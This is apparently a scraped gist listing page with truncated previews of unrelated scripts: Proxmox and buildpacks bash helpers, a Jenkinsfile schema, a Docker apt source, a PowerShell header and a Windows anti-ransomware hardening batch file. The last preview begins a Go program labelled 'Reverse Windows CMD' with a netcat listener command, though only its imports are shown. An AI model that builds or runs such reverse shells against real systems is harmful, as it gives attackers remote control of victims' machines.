See https://memex.social/c/H6RqUqsaFBC28Eh7xbDY?key=p9uqwSGZbpc7SKhfKoy4
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -e | |
# Find next available container ID starting from 1000 | |
function get_next_ctid() { | |
local NEXT_ID=1000 | |
local EXISTING_IDS=$(pct list | tail -n +2 | awk '{print $1}') | |
if [ -n "$EXISTING_IDS" ]; then | |
local MAX_ID=$(echo "$EXISTING_IDS" | sort -n | tail -1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"description": "Jenkinsfile YAML", | |
"definitions": { | |
"libraries": { | |
"description": "One or more shared library identifiers to load", | |
"type": "array", | |
"items": { | |
"type": "string" | |
}, | |
"minItems": 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -e | |
ID_PREFIX="io.buildpacks.samples.stacks" | |
DEFAULT_PREFIX=cnbs/sample-base | |
DEFAULT_PLATFORM=amd64 | |
REPO_PREFIX=${DEFAULT_PREFIX} | |
PLATFORM=${DEFAULT_PLATFORM} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<#PSScriptInfo | |
.VERSION 1.0.0.0 | |
.GUID 084a184a-faa1-47e4-9f1a-5d9ecede68c3 | |
.AUTHOR Jeffrey Snover | |
.COMPANYNAME | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
::############################################################################################################### | |
:: Credits and More info: https://gist.github.com/mackwage/08604751462126599d7e52f233490efe | |
:: https://github.com/api0cradle/LOLBAS | |
:: https://github.com/Disassembler0/Win10-Initial-Setup-Script | |
:: https://github.com/cryps1s/DARKSURGEON/tree/master/configuration/configuration-scripts | |
:: https://gist.github.com/alirobe/7f3b34ad89a159e6daa1#file-reclaimwindows10-ps1-L71 | |
:: | |
::############################################################################################################### | |
:: Change file associations to protect against common ransomware attacks | |
:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// +build windows | |
// Reverse Windows CMD | |
// Test with nc -lvvp 6666 | |
package main | |
import ( | |
"bufio" | |
"net" | |
"os/exec" |
NewerOlder